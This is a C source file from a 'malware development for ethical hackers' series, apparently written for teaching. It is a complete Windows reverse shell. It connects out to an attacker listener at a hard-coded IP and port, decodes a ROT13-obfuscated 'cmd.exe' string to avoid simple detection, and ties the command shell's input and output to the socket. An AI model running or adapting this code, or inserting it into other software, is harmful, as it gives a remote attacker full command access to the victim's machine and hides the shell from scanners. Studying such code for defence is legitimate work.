/*
 * Malware Development for Ethical Hackers
 * hack.c
 * windows reverse shell 
 * string encoding ROT13
 * author: @cocomelonc
*/
#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#pragma comment(lib, "ws2_32.lib")

WSADATA wsaData;
SOCKET wSock;
struct sockaddr_in hax;
STARTUPINFO sui;
PROCESS_INFORMATION pi;

void rot13Transform(char *str) {
  while (*str) {
    if ((*str >= 'A' && *str <= 'Z')) {
      *str = ((*str - 'A' + 13) % 26) + 'A';
    } else if ((*str >= 'a' && *str <= 'z')) {
      *str = ((*str - 'a' + 13) % 26) + 'a';
    }
    str++;
  }
}

void rot13Encrypt(char *str) {
  rot13Transform(str);
}

void rot13Decrypt(char *str) {
  // ROT13 encryption and decryption are the same
  rot13Transform(str);
}

int main(int argc, char* argv[]) {
  // listener ip, port on attacker's machine
  char *ip = "10.10.1.5";
  short port = 4444;

  // init socket lib
  WSAStartup(MAKEWORD(2, 2), &wsaData);

  // create socket
  wSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);

  hax.sin_family = AF_INET;
  hax.sin_port = htons(port);
  hax.sin_addr.s_addr = inet_addr(ip);

  // connect to remote host
  WSAConnect(wSock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);

  memset(&sui, 0, sizeof(sui));
  sui.cb = sizeof(sui);
  sui.dwFlags = STARTF_USESTDHANDLES;

  // String to be decrypted via ROT13
  char command[] = "pzq.rkr";

  // Decrypt the string using ROT13
  rot13Decrypt(command);

  sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE) wSock;

  // start the decrypted command with redirected streams
  CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
  exit(0);
}
